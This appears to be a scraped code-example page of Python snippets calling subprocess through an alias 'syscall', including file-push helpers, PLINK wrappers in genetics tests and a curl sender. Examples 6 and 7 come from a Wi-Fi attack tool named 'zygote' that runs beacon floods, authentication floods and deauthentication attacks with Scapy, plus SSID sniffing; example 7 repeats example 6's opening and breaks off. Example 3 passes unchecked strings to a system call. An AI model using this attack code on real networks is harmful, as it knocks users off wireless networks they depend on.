Exemplo n.º 1
0
def local_push(self, cmdl):
  """ Pushes file to a local directory using tar.
  
      This process is daemonized.
  """
  from os import makedirs
  from os.path import join, exists, dirname
  from getpass import getuser
  from datetime import datetime
  from subprocess import call as syscall, STDOUT
  from sys import executable
  from .. import  local_push_dir


  try: args = _get_local_push_parser().parse_args(cmdl.split())
  except SystemExit: return None
  if args.list:
    for u in _walk_files(args): print u
    return 

  if not exists(local_push_dir): makedirs(local_push_dir)
  filename = join(local_push_dir, getuser() + str(datetime.now()).replace(' ', '_'))

  # gets comment file.
  comment_filename = _getcomment(self, filename + ".comment")
  if comment_filename is None: return

  commands = ["nohup", executable, join(dirname(__file__), "_local_tar.py"),
              '--tarfile', filename, '--commentfile', comment_filename ]
  commands.extend(cmdl.split())
  syscall(commands, stdout=open(filename + ".log", 'w'), stderr=STDOUT)

  print "Working in background. "
  print "See", (filename + ".log"), "for files being pushed, or you use --list option."
  print "You can log out at this point."
Exemplo n.º 2
0
        def plinkify(ds, min=None, max=None):
            vcf = utils.new_temp_file(prefix="plink", suffix="vcf")
            plinkpath = utils.new_temp_file(prefix="plink")
            hl.export_vcf(ds, vcf)
            threshold_string = "{} {}".format("--min {}".format(min) if min else "",
                                              "--max {}".format(max) if max else "")

            plink_command = "plink --double-id --allow-extra-chr --vcf {} --genome full --out {} {}" \
                .format(utils.uri_path(vcf),
                        utils.uri_path(plinkpath),
                        threshold_string)
            result_file = utils.uri_path(plinkpath + ".genome")

            syscall(plink_command, shell=True, stdout=DEVNULL, stderr=DEVNULL)

            ### format of .genome file is:
            # _, fid1, iid1, fid2, iid2, rt, ez, z0, z1, z2, pihat, phe,
            # dst, ppc, ratio, ibs0, ibs1, ibs2, homhom, hethet (+ separated)

            ### format of ibd is:
            # i (iid1), j (iid2), ibd: {Z0, Z1, Z2, PI_HAT}, ibs0, ibs1, ibs2
            results = {}
            with open(result_file) as f:
                f.readline()
                for line in f:
                    row = line.strip().split()
                    results[(row[1], row[3])] = (list(map(float, row[6:10])),
                                                 list(map(int, row[14:17])))
            return results
Exemplo n.º 3
0
def cmd(command):
	path = ''
	paramlist = ''
	try:
		if 'params' in command:
			for key in command['params']:
				paramlist += ' ' + str(key)
				if command['params'][key]:
					paramlist += ' ' + str(command['params'][key])
			path = command['path'] + paramlist
		else:
			path = command['path']
		syscall(path)
		debug('SYSTEM CALL: ' + path)
	except Exception as e:
		debug("System call: " + path + paramlist + " failed!\n\t" + type(e).__name__ + ": " + e.message)
Exemplo n.º 4
0
def sendCurl(payload, URL):
  global HEADERS
  global USER
  global PWD
  AUTH=USER+":"+PWD
  curl=['curl', '--digest', '-u', AUTH, '-d', payload, '--header', HEADERA , '--header', HEADERB , URL]
  #log.debug('%s called from %s with %s' %(getFunctionName(), getCallingModuleName(),  getArguments(inspect.currentframe())))
  return syscall(curl)
Exemplo n.º 5
0
    def test_grm(self):
        tolerance = 0.001

        def load_id_file(path):
            ids = []
            with hl.hadoop_open(path) as f:
                for l in f:
                    r = l.strip().split('\t')
                    self.assertEqual(len(r), 2)
                    ids.append(r[1])
            return ids

        def load_rel(ns, path):
            rel = np.zeros((ns, ns))
            with hl.hadoop_open(path) as f:
                for i, l in enumerate(f):
                    for j, n in enumerate(map(float, l.strip().split('\t'))):
                        rel[i, j] = n
                    self.assertEqual(j, i)
                self.assertEqual(i, ns - 1)
            return rel

        def load_grm(ns, nv, path):
            m = np.zeros((ns, ns))
            with utils.hadoop_open(path) as f:
                i = 0
                for l in f:
                    row = l.strip().split('\t')
                    self.assertEqual(int(row[2]), nv)
                    m[int(row[0]) - 1, int(row[1]) - 1] = float(row[3])
                    i += 1

                self.assertEqual(i, ns * (ns + 1) / 2)
            return m

        def load_bin(ns, path):
            m = np.zeros((ns, ns))
            with utils.hadoop_open(path, 'rb') as f:
                for i in range(ns):
                    for j in range(i + 1):
                        b = f.read(4)
                        self.assertEqual(len(b), 4)
                        m[i, j] = unpack('<f', bytearray(b))[0]
                left = f.read()
                self.assertEqual(len(left), 0)
            return m

        b_file = utils.new_temp_file(prefix="plink")
        rel_file = utils.new_temp_file(prefix="test", suffix="rel")
        rel_id_file = utils.new_temp_file(prefix="test", suffix="rel.id")
        grm_file = utils.new_temp_file(prefix="test", suffix="grm")
        grm_bin_file = utils.new_temp_file(prefix="test", suffix="grm.bin")
        grm_nbin_file = utils.new_temp_file(prefix="test", suffix="grm.N.bin")

        dataset = self.get_dataset()
        n_samples = dataset.count_cols()
        dataset = dataset.annotate_rows(AC=agg.sum(dataset.GT.n_alt_alleles()),
                                        n_called=agg.count_where(hl.is_defined(dataset.GT)))
        dataset = dataset.filter_rows((dataset.AC > 0) & (dataset.AC < 2 * dataset.n_called))
        dataset = dataset.filter_rows(dataset.n_called == n_samples).persist()

        hl.export_plink(dataset, b_file, id=dataset.s)

        sample_ids = [row.s for row in dataset.cols().select('s').collect()]
        n_variants = dataset.count_rows()
        self.assertGreater(n_variants, 0)

        grm = hl.genetic_relatedness_matrix(dataset)
        grm.export_id_file(rel_id_file)

        ############
        ### rel

        p_file = utils.new_temp_file(prefix="plink")
        syscall('''plink --bfile {} --make-rel --out {}'''
                .format(utils.uri_path(b_file), utils.uri_path(p_file)), shell=True, stdout=DEVNULL, stderr=DEVNULL)
        self.assertEqual(load_id_file(p_file + ".rel.id"), sample_ids)

        grm.export_rel(rel_file)
        self.assertEqual(load_id_file(rel_id_file), sample_ids)
        self.assertTrue(np.allclose(load_rel(n_samples, p_file + ".rel"),
                                    load_rel(n_samples, rel_file),
                                    atol=tolerance))

        ############
        ### gcta-grm

        p_file = utils.new_temp_file(prefix="plink")
        syscall('''plink --bfile {} --make-grm-gz --out {}'''
                .format(utils.uri_path(b_file), utils.uri_path(p_file)), shell=True, stdout=DEVNULL, stderr=DEVNULL)
        self.assertEqual(load_id_file(p_file + ".grm.id"), sample_ids)

        grm.export_gcta_grm(grm_file)
        self.assertTrue(np.allclose(load_grm(n_samples, n_variants, p_file + ".grm.gz"),
                                    load_grm(n_samples, n_variants, grm_file),
                                    atol=tolerance))

        ############
        ### gcta-grm-bin

        p_file = utils.new_temp_file(prefix="plink")
        syscall('''plink --bfile {} --make-grm-bin --out {}'''
                .format(utils.uri_path(b_file), utils.uri_path(p_file)), shell=True, stdout=DEVNULL, stderr=DEVNULL)

        self.assertEqual(load_id_file(p_file + ".grm.id"), sample_ids)

        grm.export_gcta_grm_bin(grm_bin_file, grm_nbin_file)

        self.assertTrue(np.allclose(load_bin(n_samples, p_file + ".grm.bin"),
                                    load_bin(n_samples, grm_bin_file),
                                    atol=tolerance))
        self.assertTrue(np.allclose(load_bin(n_samples, p_file + ".grm.N.bin"),
                                    load_bin(n_samples, grm_nbin_file),
                                    atol=tolerance))
Exemplo n.º 6
0
def startframe():
    while True:
        try:
            global deauthencations
            global network_essids
            global deauthencation_frame
            global client
            global IEEE802AP
            global mac_addr
            prompt = input("\033[94mzygote>\033[95m ").lower()
            mvi = prompt.split(" ")[0]
            if mvi == "help":
                print(frame.options)
                startframe()
            if mvi == "clear":
                syscall("clear")
                startframe()
            if mvi == "banner":
                syscall("clear")
                print(frame.banner)
            if mvi == "exit":
                exit()
            if mvi == "beaconflood":
                annoyance_time = float(prompt.split(" ")[1])
                time_setter = time.time() + annoyance_time
                print("Sending beacon frames...")

                def task():
                    try:
                        while time.time() < time_setter:
                            randstr1 = random.randint(0, 255)
                            randstr2 = random.randint(0, 255)
                            randstr3 = random.randint(0, 255)
                            randstr4 = random.randint(0, 255)
                            randstr5 = random.randint(0, 255)
                            randstr6 = random.randint(0, 255)

                            def starting_task():
                                while True:
                                    rand_name = random._urandom(10)
                                    mac = str(
                                        "%02x:%02x:%02x:%02x:%02x:%02x\n" %
                                        (randstr1, randstr2, randstr3,
                                         randstr4, randstr5, randstr6))
                                    dot11 = Dot11(type=0,
                                                  subtype=8,
                                                  addr1='ff:ff:ff:ff:ff:ff',
                                                  addr2=mac,
                                                  addr3=mac)
                                    beacon = Dot11Beacon(cap='ESS+privacy')
                                    essid = Dot11Elt(ID='SSID',
                                                     info=str(rand_name))
                                    frame = (RadioTap() / dot11 / beacon /
                                             essid)
                                    sendp(frame, verbose=False)

                            multiprocessing.Process(
                                target=starting_task).start()
                            threading.Thread(target=starting_task).start()
                    except KeyboardInterrupt:
                        startframe()

            if mvi == "authentication":
                try:
                    IEEE802AP = prompt.split(" ")[1]
                    interface = prompt.split(" ")[2]
                    print("Sending authentication clients...")
                    while True:
                        randstr1 = random.randint(0, 255)
                        randstr2 = random.randint(0, 255)
                        randstr3 = random.randint(0, 255)
                        randstr4 = random.randint(0, 255)
                        randstr5 = random.randint(0, 255)
                        randstr6 = random.randint(0, 255)
                        mac_addr = str("%02x:%02x:%02x:%02x:%02x:%02x\n" %
                                       (randstr1, randstr2, randstr3, randstr4,
                                        randstr5, randstr6))
                        authentication_frame = RadioTap() / Dot11(
                            addr1=IEEE802AP, addr2=mac_addr,
                            addr3=IEEE802AP) / Dot11Auth()
                        sendp(authentication_frame,
                              iface=interface,
                              verbose=False)
                except KeyboardInterrupt:
                    print("\nStopped")
                    startframe()
            if mvi == "deauth":
                try:
                    IEEE802AP = prompt.split(" ")[1]
                    interface = prompt.split(" ")[2]
                    client = prompt.split(" ")[3]
                    try:
                        print("Deauthencation frames sending....")

                        def framesend(interface, IEEE802AP, client,
                                      authentication_frame):
                            while True:
                                if client == "0":
                                    client = "FF:FF:FF:FF:FF:FF"
                                    sendp(deauthencation_frame,
                                          iface=interface,
                                          verbose=False)
                                else:
                                    sendp(deauthencation_frame,
                                          iface=interface,
                                          verbose=False)

                        while True:
                            t = threading.Thread(target=framesend,
                                                 args=(interface, IEEE802AP,
                                                       client,
                                                       deauthencation_frame))
                            t.setDaemon(True)
                            t.start()
                    except KeyboardInterrupt:
                        t.setDaemon(False)
                        print("\nStopped")
                        startframe()
                except KeyboardInterrupt:
                    print("\nStopped!")
                    startframe()
            if mvi == "networklist":
                interface = prompt.split(" ")[1]
                capture_count = 0
                ssids = set()

                def pkt_handler(pkt):
                    if pkt.haslayer(Dot11Beacon):
                        temp = pkt
                        while temp:
                            temp = temp.getlayer(Dot11Elt)
                            if temp and temp.ID == 0 and (temp.info
                                                          not in ssids):
                                ssids.add(temp.info)
                                print(len(ssids), pkt.addr3, temp.info)
                                break
                            temp = temp.payload

                sniff(iface=interface, prn=pkt_handler)
        except KeyboardInterrupt:
            print("Stopped\n")
            startframe()
Exemplo n.º 7
0
from random import _urandom as byte_object
from subprocess import call as syscall
import multiprocessing

deauthencations = 0
network_essids = []
client = "FF:FF:FF:FF:FF:FF"
IEEE802AP = "FF:FF:FF:FF:FF:FF"
interface = "none"
deauthencation_frame = RadioTap() / Dot11(
    addr1=client, addr2=IEEE802AP, addr3=IEEE802AP) / Dot11Deauth()

if not os.geteuid() == 0:
    print("! this script mus be ran as root smh")
    exit()
syscall("clear", shell=True)
print(frame.banner)


def startframe():
    while True:
        try:
            global deauthencations
            global network_essids
            global deauthencation_frame
            global client
            global IEEE802AP
            global mac_addr
            prompt = input("\033[94mzygote>\033[95m ").lower()
            mvi = prompt.split(" ")[0]
            if mvi == "help":